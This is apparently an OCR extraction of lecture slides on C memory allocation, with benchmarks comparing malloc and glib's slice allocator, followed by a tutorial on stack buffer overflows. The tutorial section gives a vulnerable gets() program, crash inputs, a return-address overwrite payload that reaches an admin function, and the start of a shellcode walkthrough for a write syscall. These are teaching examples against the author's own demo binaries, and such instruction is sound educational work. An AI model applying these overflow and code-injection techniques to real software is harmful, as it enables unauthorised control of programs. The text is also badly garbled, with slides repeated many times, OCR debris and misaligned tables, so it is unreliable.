<td>2.14</td>
<td>2.14</td>
<td>fillBufferFromStatic</td>
</tr>
</tbody>
</table>

Run Time Allocation Efficiency

---------

Stack Memory vs. Stack Memory

---------

Static vs. Stack
```c
#define NUMLOOPS (1000*1000*1000)
#define BUFSIZE 64

void allocateStack ( )
{ char myStackBuffer[BUFSIZE] ;
  memset ( myStackBuffer, 0x66, BUFSIZE ) ;
}

void allocateHeap ( )
{ char *myHeapBuffer = malloc ( BUFSIZE ) ;
  memset ( myHeapBuffer, 0x66, BUFSIZE ) ;
  free ( myHeapBuffer ) ;
}

int main ( void )
{
  for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ )
    allocateStack ( ) ;
  for ( uint64_t i = 0 ; i < NUMLOOPS ; i++ )
    allocateHeap ( ) ;
  return ( 0 ) ;
}
```
Stack vs. Heap

```c
#define NUMLOOPS (1000*1000*1000)
#define BUFSIZE 64

void allocateStack ( )
{ char myStackBuffer[BUFSIZE] ;
  memset ( myStackBuffer, 0x66, BUFSIZE ) ;
}

void allocateHeap ( )
{ char *myHeapBuffer = malloc ( BUFSIZE ) ;
  memset ( myHeapBuffer, 0x66, BUFSIZE ) ;
  free ( myHeapBuffer ) ;
}
```
Stack vs. Heap

```c
#define NUMLOOPS (1000*1000*1000)
#define BUFSIZE 64

void allocateStack() {
    char myStackBuffer[BUFSIZE];
    memset(myStackBuffer, 0x66, BUFSIZE);
}

void allocateHeap() {
    char *myHeapBuffer = malloc(BUFSIZE);
    memset(myHeapBuffer, 0x66, BUFSIZE);
    free(myHeapBuffer);
}
```

gprof results

<table>
<thead>
<tr>
<th>%</th>
<th>cumulative</th>
<th>self</th>
<th>calls</th>
<th>self</th>
<th>total</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>time</td>
<td>seconds</td>
<td>seconds</td>
<td>calls</td>
<td>seconds</td>
<td></td>
<td></td>
</tr>
<tr>
<td>28.04</td>
<td>8.10</td>
<td>3.17</td>
<td>10000000000</td>
<td>3.17</td>
<td>3.17</td>
<td>allocateHeap</td>
</tr>
<tr>
<td>19.69</td>
<td>10.33</td>
<td>2.23</td>
<td>10000000000</td>
<td>2.23</td>
<td>2.23</td>
<td>allocateStack</td>
</tr>
</tbody>
</table>

# define ELEMENTSIZE 32
# define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = malloc ( ELEMENTSIZE ) ;

    getchar () ;

    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        free ( bufferPointers[i] ) ;
    free ( bufferPointers ) ;

    return ( 0 ) ;
}
```c
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = malloc ( ELEMENTSIZE ) ;
}
```
# define ELEMENTSIZE 32
# define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void ) {
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = malloc ( ELEMENTSIZE ) ;
}

cat /proc/`pgrep mallocsize`/status | grep VmRSS

VmRSS: 7340304 kB
```c
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = malloc ( ELEMENTSIZE ) ;
}
```

```
cat /proc/`pgrep mallocsize`/status | grep VmRSS

VmRSS: 7340304 kB
```

- Overhead: \( 7158M - 4096M - 1024M = 2038M \approx 50\% \)
Heap allocation via malloc turns out to
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
Heap allocation via malloc turns out to
- be the slowest allocation mechanism
- produce several overhead
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
  - produce several overhead
- Can this probably be done more efficiently?
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
  - produce several overhead
- Can this probably be done more efficiently?
  - Oh wonder, yes, it can :)

GLIB provides us with a slice allocator
one.os = specialized on small allocations, implements a malloc fallback for big allocations
actspredictively by allocating a bunch of elements (slice) even if only one single element is requested
If any further elements of that type are requested, they are simply taken from the slice
thus it’s behaving like an allocation cache

This principle is heavily based on the slab memory allocator
three.os = /two.os/seven.os /five.os/three.os
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
  - produce several overhead
- Can this probably be done more efficiently?
  - Oh wonder, yes, it can :) 
- glib provides us with a slice allocator[1]
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
  - produce several overhead
- Can this probably be done more efficiently?
  - Oh wonder, yes, it can :)
- glib provides us with a slice allocator[1]
  - specialized on small allocations, implements a malloc fallback for big allocation
Heap allocation via malloc turns out to
- be the slowest allocation mechanism
- produce several overhead

Can this probably be done more efficiently?
- Oh wonder, yes, it can :)

glib provides us with a slice allocator[1]
- specialized on small allocations, implements a malloc fallback for big allocation
- acts predictively by allocating a bunch of elements (slice) even if only one single element is requested
Heap allocation via malloc turns out to
- be the slowest allocation mechanism
- produce several overhead

Can this probably be done more efficiently?
- Oh wonder, yes, it can :)

glib provides us with a slice allocator[1]
- specialized on small allocations, implements a malloc fallback for big allocation
- acts predictively by allocating a bunch of elements (slice) even if only one single element is requested
- if any further elements of that type are requested, they are simply taken from the slice
- Heap allocation via malloc turns out to
  - be the slowest allocation mechanism
  - produce several overhead

- Can this probably be done more efficiently?
  - Oh wonder, yes, it can :)

- glib provides us with a slice allocator[1]
  - specialized on small allocations, implements a malloc fallback for big allocation
  - acts predictively by allocating a bunch of elements (slice) even if only one single element is requested
  - if any further elements of that type are requested, they are simply taken from the slice
  - thus it’s behaving like an allocation cache
Heap allocation via malloc turns out to
- be the slowest allocation mechanism
- produce several overhead

Can this probably be done more efficiently?
- Oh wonder, yes, it can :)

glib provides us with a slice allocator[1]
- specialized on small allocations, implements a malloc fallback for big allocation
- acts predictively by allocating a bunch of elements (slice) even if only one single element is requested
- if any further elements of that type are requested, they are simply taken from the slice
- thus it’s behaving like an allocation cache
- this principle is heavily based on the slab memory allocator[3]
Slice illustration

Slice

- slice header
- element 1
- element 2
- element 3
- element 4
- ...
Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize
- Return address of allocated memory is simply address of firstElement + (number of used elements) * elementSize
- Once a slice is fully occupied, another one is allocated
Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize

Once a slice is fully occupied, another one is allocated

If a slice element is freed, no more elements of that slice can be allocated
Return address of allocated memory is simply address of firstElement + ( number of used elements ) * elementSize

Once a slice is fully occupied, another one is allocated

If a slice element is freed, no more elements of that slice can be allocated

A slice is freed once all its elements are freed
```c
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void ) {
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;

    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        g_slice_free1 ( ELEMENTSIZE , bufferPointers[i] ) ;
    free ( bufferPointers ) ;

    return ( 0 ) ;
}
```
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;
g_slice_alloc space consumption  

```c
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;
}
```

```
cat /proc/`pgrep slicesize_glib`/status | grep VmRSS

VmRSS: 5842772 kB
```
**g_slice_alloc space consumption**

```c
#define ELEMENTSIZE 32
#define NUMELEMENTS 1024*1024*128 // 4 Gigabyte

int main ( void )
{
    char **bufferPointers = malloc ( NUMELEMENTS * sizeof(char*) ) ;
    for ( uint64_t i = 0 ; i < NUMELEMENTS ; i++ )
        bufferPointers[i] = g_slice_alloc ( ELEMENTSIZE ) ;
```

**cat /proc/ˈpgrep slicesize_glib′/status | grep VmRSS**

```
VmRSS: 5842772 kB
```

- **Overhead**: 5705M - 4096M - 1024M = 585M (~14%)
So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead.
- So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead
- What about the time?
So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead.

What about the time?

Code for the upcoming stats is not quoted here, though it’s available for download (heapsizeloop.c / slicesizeloop.c)
So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead

What about the time?

Code for the upcoming stats is not quoted here, though it’s available for download ( heapsizeloop.c / slicesizeloop.c )

Allocating 1024*128 single buffers with an size of 32 bytes done 1024*16 times takes
So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead.

What about the time?

Code for the upcoming stats is not quoted here, though it’s available for download (heapsizeloop.c / slicesizeloop.c).

Allocating 1024*128 single buffers with an size of 32 bytes done 1024*16 times takes
- malloc 3 minutes, 24 seconds
So far we’ve seen that g_slice_alloc can very well outperform malloc in terms of space overhead.

What about the time?

Code for the upcoming stats is not quoted here, though it’s available for download (heapsizeloop.c / slicesizeloop.c).

Allocating 1024*128 single buffers with an size of 32 bytes done 1024*16 times takes:

- malloc 3 minutes, 24 seconds
- g_slice_alloc 1 minutes, 52 seconds
Statistics of sample allocations

<table>
<thead>
<tr>
<th>Allocated Memory</th>
<th>Pointers</th>
<th>malloc Overhead</th>
</tr>
</thead>
<tbody>
<tr>
<td>4096M</td>
<td>1024M</td>
<td>2038M</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Allocated Memory</th>
<th>Pointers</th>
<th>g_slice_alloc Overhead</th>
</tr>
</thead>
<tbody>
<tr>
<td>4096M</td>
<td>1024M</td>
<td>585M</td>
</tr>
</tbody>
</table>

Malloc Time
- 204 seconds

G_slice_alloc Time
- 112 seconds
EST KNOW YOUR MEMORY REQUIREMENTS BEFOREHAND

CHOOSE THE RIGHT TYPE OF BUFFER AND ITS PURPOSE

LOOK FOR ALTERNATIVE ALLOCATORS

SLICE ALLOCATORS

POOL ALLOCATORS

DLMALLOC

TCMalloc

JEMALLOC

Tradeoff

heap allocation

stack allocation

static allocation

flexibility

allocation costs
Best know your memory requirements beforehand
- Best know your memory requirements beforehand
- Choose the right type of buffer fitting its purpose
Best know your memory requirements beforehand
Choose the right type of buffer fitting its purpose
Look for alternative allocators
Best know your memory requirements beforehand

Choose the right type of buffer fitting its purpose

Look for alternative allocators
- slice allocators
Best know your memory requirements beforehand

Choose the right type of buffer fitting its purpose

Look for alternative allocators

- slice allocators
- pool allocators[8]
- Best know your memory requirements beforehand
- Choose the right type of buffer fitting its purpose
- Look for alternative allocators
  - slice allocators
  - pool allocators[8]
  - dlmalloc[5], tcmalloc[2], jemalloc[4] ...
Security concerns
It is said that if you know your enemies and know yourself, you will not be imperiled in a hundred battles.

The Art of War, 600 B.C.

The upcoming guide about how to successfully abuse vulnerable software is based on methods described by Elias “Aleph One” Levy[6] and Jeffrey Turkstra[7].
### First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}

int main ( void )
{
    askForName () ;
    return ( 0 ) ;
}
```
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

Program execution

```
$ echo "Joshua" | ./basicoverflow.elf
```

SECURITY CONCERNS

OVERFLOW CAUSED PROGRAM CRASH

FIRST STACK OVERFLOW

PROGAM EXECUTION

$ echo "Joshua" | ./basicoverflow.elf
First stack overflow

define askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}

Program execution

$ echo "Joshua" | ./basicoverflow.elf

Program output

Please enter your name :  Hello Joshua
---

### Security concerns

**Overflow caused program crash**

---

**First stack overflow**

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

---

**Program execution**

```
$ echo "Lord Vader" | ./basicoverflow.elf
```

**Program output**

```
Please enter your name : Hello Lord Vader
```
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf("Please enter your name : ");
    gets ( name ) ;
    printf("Hello %s\n", name ) ;
}
```

Program execution

```
$ echo "Lord Vader" | ./basicoverflow.elf
```

Security concerns

Overflow caused program crash
First stack overflow

```
void askForName ( void )
{
    char name[8] ;
    printf("Please enter your name : ") ;
    gets ( name ) ;
    printf("Hello %s\n", name ) ;
}
```

Program execution

```
$ echo "Lord Vader" | ./.basicoverflow.elf
```

Program output

```
Please enter your name :  Hello Lord Vader
```
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name) ;
}
```

Program execution

```
$ python -c "print "x"*23" | ./.basicoverflow.elf
```

Security concerns
Overflow caused program crash
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

Program execution

```
$ python -c "print \"x\"*23" | ./basicoverflow.elf
```

Program output

Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ", name ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

Security concerns

Overflow caused program crash

PROGRAMEXECUTION

$ python -c "print \"x\"*24" | ./basicoverflow.elf

PROGRAMOUTPUT,

Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxx

Segmentation fault

/three.os/eight.os/
/five.os/three.os
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

Program execution

```
$ python -c "print \"x\"*24" | ./basicoverflow.elf
```

Security concerns

Overflow caused program crash
First stack overflow

```c
void askForName ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}
```

Program execution

```
$ python -c "print \"x\"*24" | ./basicoverflow.elf
```

Program output, finally, we made it :)

Please enter your name :  Hello xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault
<table>
<thead>
<tr>
<th>Security concerns</th>
<th>Overflow caused program crash</th>
</tr>
</thead>
</table>

WHATHAPPENEDHERE?
REMEMBERTHESTACKILLUSTRATION
"*OSHUA"WASWRITTENINPLACEOF"CAPTAIN",
"ORDVADER"JUSTOVERWROTE THE JUNK AREA
/two.os/three.os
X
SOVERWROTETHEJUNKAREA,
THE SAVEDBASEPOINTER,
/uniFB01
ALLYABYTE
OFTHERETURNADDRESS
/three.os/nine.os
/five.os/three.os
What happened here?
What happened here?

Remember the stack illustration shown before?
- What happened here?
- Remember the stack illustration shown before?

### Stack illustration

<table>
<thead>
<tr>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x000000000004004e9</td>
<td>Return address of main</td>
</tr>
<tr>
<td>0x00007fffffff190</td>
<td>Saved base pointer</td>
</tr>
<tr>
<td>0x000000000004003a0</td>
<td>Padding junk</td>
</tr>
<tr>
<td>0x006e69c1744706143</td>
<td>&quot;Captain&quot;</td>
</tr>
<tr>
<td>0x000000000004004de</td>
<td>Return address of first function</td>
</tr>
<tr>
<td>0x00007fffffff180</td>
<td>Saved base pointer</td>
</tr>
<tr>
<td>0x0000000000040055d</td>
<td>Padding junk</td>
</tr>
<tr>
<td>0x000068636e757243</td>
<td>&quot;Crunch&quot;</td>
</tr>
</tbody>
</table>
- What happened here?
- Remember the stack illustration shown before?
- "Joshua" was written in place of "Captain"
What happened here?
Remember the stack illustration shown before?
"Joshua" was written in place of "Captain"
"Lord Vader" just overwrote the junk area
Security concerns

Overflow caused program crash

- What happened here?
- Remember the stack illustration shown before?
- "Joshua" was written in place of "Captain"
- "Lord Vader" just overwrote the junk area
- 23 x’s overwrote the junk area and the saved basepointer, but did not cause any trouble in this case
- What happened here?
- Remember the stack illustration shown before?
- "Joshua" was written in place of "Captain"
- "Lord Vader" just overwrote the junk area
- 23 x's overwrote the junk area and the saved basepointer, but did not cause any trouble in this case
- 24 x's overwrote the junk area, the saved basepointer and finally a byte of the return address
A more advanced overflow

```c
void userlogin ( void )
{
    char name[8] ;
    printf("Please enter your name : ");
    gets ( name ) ;
    printf("Hello %s\n", name ) ;
}

void adminMenu ( void )
{ printf("Hello admin!\n"); }

int main ( void )
{
    int privileged = 0 ;
    if ( privileged )
    { adminMenu ( ) ; }
    else { userlogin ( ) ; }
    return ( 0 ) ;
}
```
void userlogin ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}

void adminMenu ( void )
{ printf ("Hello admin!\n") ; }
A more advanced overflow

```c
void userlogin ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s
", name ) ;
}

void adminMenu ( void )
{ printf ("Hello admin!\n") ; }
```

- Can we secretly enter the admin menu via an exploit?
A more advanced overflow

void userlogin ( void )
{
    char name[8] ;
    printf ("Please enter your name : ");
    gets ( name );
    printf ("Hello %s\n", name );
}

void adminMenu ( void )
{ printf ("Hello admin!\n") ; }

- Can we secretly enter the admin menu via an exploit?
- Of course we can :)
Can we secretly enter the admin menu via an exploit?

Of course we can :)

We just disassemble the program and find the address of the adminMenu function to jump to
The user login function would normally return to address zero.os, four.os, zero.os, six.os, and eight.os. We change this return pointer to zero.os, four.os, zero.os, five.os, FC, and we re-just in the admin menu.
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>4005ef:</td>
<td>movl $0x0,-0x4(%rbp)</td>
<td>Move $0x0 to %rbp-4</td>
</tr>
<tr>
<td>4005f6:</td>
<td>cmpl $0x0,-0x4(%rbp)</td>
<td>Compare $0x0 to %rbp-4</td>
</tr>
<tr>
<td>4005fa:</td>
<td>je 400603 &lt;main+0x1c&gt;</td>
<td>Jump if equal to address</td>
</tr>
<tr>
<td>4005fc:</td>
<td>callq 4005d7 &lt;adminMenu&gt;</td>
<td>Call function adminMenu</td>
</tr>
<tr>
<td>400601:</td>
<td>jmp 400608 &lt;main+0x21&gt;</td>
<td>Jump to address 400608</td>
</tr>
<tr>
<td>400603:</td>
<td>callq 40059c &lt;userlogin&gt;</td>
<td>Call function userlogin</td>
</tr>
<tr>
<td>400608:</td>
<td>mov $0x0, %eax</td>
<td>Move $0x0 to %eax</td>
</tr>
<tr>
<td>40060d:</td>
<td>leaveq</td>
<td>Leaveq</td>
</tr>
<tr>
<td>40060e:</td>
<td>retq</td>
<td>Returnq</td>
</tr>
<tr>
<td>40060f:</td>
<td>nop</td>
<td>No operation</td>
</tr>
</tbody>
</table>

- The userlogin function would normally return to address 0x400608

- Security concerns: Overflow based program flow alteration
<table>
<thead>
<tr>
<th>LOC</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>4005ef</td>
<td>c7 45 fc 00 00 00 00</td>
<td>movl $0x0,-0x4(%rbp)</td>
</tr>
<tr>
<td>4005f6</td>
<td>83 7d fc 00</td>
<td>cmpl $0x0,-0x4(%rbp)</td>
</tr>
<tr>
<td>4005fa</td>
<td>74 07</td>
<td>je 400603 &lt;main+0x1c&gt;</td>
</tr>
<tr>
<td>4005fc</td>
<td>e8 d6 ff ff ff</td>
<td>callq 4005d7 &lt;adminMenu&gt;</td>
</tr>
<tr>
<td>400601</td>
<td>eb 05</td>
<td>jmp 400608 &lt;main+0x21&gt;</td>
</tr>
<tr>
<td>400603</td>
<td>e8 94 ff ff ff</td>
<td>callq 40059c &lt;userlogin&gt;</td>
</tr>
<tr>
<td>400608</td>
<td>b8 00 00 00 00</td>
<td>mov $0x0,%eax</td>
</tr>
<tr>
<td>40060d</td>
<td>c9</td>
<td>leaveq</td>
</tr>
<tr>
<td>40060e</td>
<td>c3</td>
<td>retq</td>
</tr>
<tr>
<td>40060f</td>
<td>90</td>
<td>nop</td>
</tr>
</tbody>
</table>

- The userlogin function would normally return to address 0x400608
- We change this return pointer to 0x4005fc, and we're just in the adminMenu
A more advanced overflow

```c
void userlogin ( void )
{
    char name[8] ;
    printf("Please enter your name : ");
    gets ( name ) ;
    printf("Hello %s\n", name ) ;
}

void adminMenu ( void )
{ printf("Hello admin!\n") ; }
```
A more advanced overflow

**knownpointeroverflow.c**

```c
void userlogin ( void )
{
    char name[8] ;
    printf ("Please enter your name : ") ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}

void adminMenu ( void )
{ printf ("Hello admin!\n") ; }
```

Program execution

```
$ python -c "print 'x'*24+'\xfc\x05\x40'" ./knownpointeroverflow.elf
```
A more advanced overflow

```c
void userlogin ( void )
{
    char name[8] ;
    printf ("Please enter your name : " ) ;
    gets ( name ) ;
    printf ("Hello %s\n", name ) ;
}

void adminMenu ( void )
{ printf ("Hello admin!\n") ; }
```

Program execution

```
$ python -c "print \’x\’*24+\’\xfc\x05\x40\’" | ./knownpointeroverflow.elf
```

Program output

```
Please enter your name : Hello xxxxxxxxxxxxxxxxxxxxxxxxxx..
Hello admin!
Bus error
```
Nice one, but how can I execute my own precious code instead of what’s already there?
Nice one, but how can I execute my own precious code instead of what’s already there?

Just the way we wrote ‘x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before.
Nice one, but how can I execute my own precious code instead of what’s already there?

Just the way we wrote ‘x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before.

To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need.
- Nice one, but how can I execute my own precious code instead of what’s already there?
- Just the way we wrote ‘x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before
- To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need
- Let’s do a kernel function call using C ...
- Nice one, but how can I execute my own precious code instead of what’s already there?
- Just the way we wrote ‘x’ and new pointers on the stack we can write machine opcodes there and return to them the way we did before
- To get these machine opcodes, write them yourself using assembler and compile it, or disassemble some C code and use the portions you need
- Let’s do a kernel function call using C ...

```
#include <unistd.h>

int main ( void )
{
    static const char *myText = "Joshua\n";
    write ( 1, myText, 7 );
    return ( 0 );
}
```
Linux write syscall 

```
00000000004004d0 <main>:

4004d0: push  %rbp          # default function intro
4004d1: mov   %rsp,%rbp      # same here
4004d4: mov   0x2aac95(%rip),%rax  # 6ab170 <myText.2768>
4004db: mov   $0x7,%edx      # edx = size of string
4004e0: mov   %rax,%rsi      # rsi = address of string
4004e3: mov   $0x1,%edi      # edi = output channel
4004e8: callq 40c530 <__libc_write>  # libc call
4004ed: mov   $0x0,%eax      # return value
4004f2: pop    %rbp          # default function outro
4004f3: retq   # back to crt/os ...

... 000000000040c530 <__libc_write>:
40c530: cmpl $0x0,0x2a2665(%rip)   # 6aeb9c <__libc_multiple_threads>
40c537: jne 40c54d <__write_nocancel+0x14> # jump further

... 000000000040c539 <__write_nocancel>:
40c539: mov   $0x1,%eax       # syscall number in eax
40c53e: syscall        # syscall !
```
Security concerns: Overflow code injection

- Now we know how do to a write syscall in assembler
Now we know how to do a write syscall in assembler
- edx = size of string
Now we know how do to a write syscall in assembler
- edx = size of string
- rsi = address of string
Now we know how to do a write syscall in assembler

- edx = size of string
- rsi = address of string
- edi = output channel
Now we know how to do a write syscall in assembler

- edx = size of string
- rsi = address of string
- edi = output channel
- eax = 1 for write syscall
Now we know how to do a write syscall in assembler

- edx = size of string
- rsi = address of string
- edi = output channel
- eax = 1 for write syscall

Let’s write our own assembler program to accomplish this task
Now we know how do to a write syscall in assembler

- edx = size of string
- rsi = address of string
- edi = output channel
- eax = 1 for write syscall

Let’s write our own assembler program to accomplish this task

Kernel write via asm

```
400078: ba 07 00 00 00  mov $0x7,%edx
40007d: bf 01 00 00 00  mov $0x1,%edi
400082: 48 b8 4a 6f 73 68  movabs $0xa617568736f4a,%rax
400089: 61 0a 00
40008c: 50 push %rax
40008d: 48 89 e6  mov %rsp,%rsi
400090: 58 pop %rax
400091: b8 01 00 00 00  mov $0x1,%eax
400096: 0f 05 syscall
```
### Kernel write via asm

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Memory Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x400078</td>
<td><code>ba 07 00 00 00</code></td>
<td><code>mov $0x7,%edx</code></td>
</tr>
<tr>
<td>0x40007d</td>
<td><code>bf 01 00 00 00</code></td>
<td><code>mov $0x1,%edi</code></td>
</tr>
<tr>
<td>0x400082</td>
<td><code>48 b8 4a 6f 73 68 75</code></td>
<td><code>movabs $0xa617568736f4a,%rax</code></td>
</tr>
<tr>
<td>0x400089</td>
<td><code>61 0a 00</code></td>
<td></td>
</tr>
<tr>
<td>0x40008c</td>
<td><code>50</code></td>
<td><code>push %rax</code></td>
</tr>
<tr>
<td>0x40008d</td>
<td><code>48 89 e6</code></td>
<td><code>mov %rsp,%rsi</code></td>
</tr>
<tr>
<td>0x400090</td>
<td><code>58</code></td>
<td><code>pop %rax</code></td>
</tr>
<tr>
<td>0x400091</td>
<td><code>b8 01 00 00 00</code></td>
<td><code>mov $0x1,%eax</code></td>
</tr>
<tr>
<td>0x400096</td>
<td><code>0f 05</code></td>
<td><code>syscall</code></td>
</tr>
</tbody>
</table>

---

### Program Output

```
$ ./asmwrite.elf
Joshua
Segmentation fault
```
### Kernel write via asm

<table>
<thead>
<tr>
<th>Address</th>
<th>Assembly Instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>400078</td>
<td><code>mov $0x7, %edx</code></td>
</tr>
<tr>
<td>40007d</td>
<td><code>mov $0x1, %edi</code></td>
</tr>
<tr>
<td>400082</td>
<td><code>movabs $0xa617568736f4a, %rax</code></td>
</tr>
<tr>
<td>400089</td>
<td><code>push %rax</code></td>
</tr>
<tr>
<td>40008c</td>
<td><code>mov %sp, %rsi</code></td>
</tr>
<tr>
<td>40008d</td>
<td><code>pop %rax</code></td>
</tr>
<tr>
<td>400091</td>
<td><code>mov $0x1, %eax</code></td>
</tr>
<tr>
<td>400096</td>
<td><code>syscall</code></td>
</tr>
</tbody>
</table>

### Program output

```
$ ./asmwrite.elf
Joshua
Segmentation fault
```
<table>
<thead>
<tr>
<th>Address</th>
<th>Code</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>400078</td>
<td><code>ba 07 00 00 00</code></td>
<td><code>mov $0x7,%edx</code></td>
</tr>
<tr>
<td>40007d</td>
<td><code>bf 01 00 00 00</code></td>
<td><code>mov $0x1,%edi</code></td>
</tr>
<tr>
<td>400082</td>
<td><code>48 b8 4a 6f 73 68 75</code></td>
<td><code>movabs $0xa617568736f4a,%rax</code></td>
</tr>
<tr>
<td>400089</td>
<td><code>61 0a 00</code></td>
<td></td>
</tr>
<tr>
<td>40008c</td>
<td><code>50</code></td>
<td><code>push %rax</code></td>
</tr>
<tr>
<td>40008d</td>
<td><code>48 89 e6</code></td>
<td><code>mov %rsp,%rsi</code></td>
</tr>
<tr>
<td>400090</td>
<td><code>58</code></td>
<td><code>pop %rax</code></td>
</tr>
<tr>
<td>400091</td>
<td><code>b8 01 00 00 00</code></td>
<td><code>mov $0x1,%eax</code></td>
</tr>
<tr>
<td>400096</td>
<td><code>0f 05</code></td>
<td><code>syscall</code></td>
</tr>
</tbody>
</table>

THOUGHT: THIS CODE WORKS AS EXPECTED WHEN EXECUTED IN A SHELL, WE CAN 'T USE THIS DIRECTLY TO OUR STACK BUFFER WHY? POSSIBLE STRING INPUT ROUTINES STOP READING ANY FURTHER UPON THE OCCURRENCE OF A 0x00 OR 0x0a CHARACTER, SO WE MUST REWRITE OUR CODE ACCORDINGLY.
<table>
<thead>
<tr>
<th>Line</th>
<th>Assembly</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ba 07 00 00 00</td>
<td>mov $0x7, %edx</td>
</tr>
<tr>
<td>2</td>
<td>bf 01 00 00 00</td>
<td>mov $0x1, %edi</td>
</tr>
<tr>
<td>3</td>
<td>48 b8 4a 6f 73 68 75</td>
<td>movabs $0xa61756876f4a, %rax</td>
</tr>
<tr>
<td>4</td>
<td>61 0a 00</td>
<td>push %rax</td>
</tr>
<tr>
<td>5</td>
<td>50</td>
<td>mov %rsp, %rsi</td>
</tr>
<tr>
<td>6</td>
<td>48 89 e6</td>
<td>pop %rax</td>
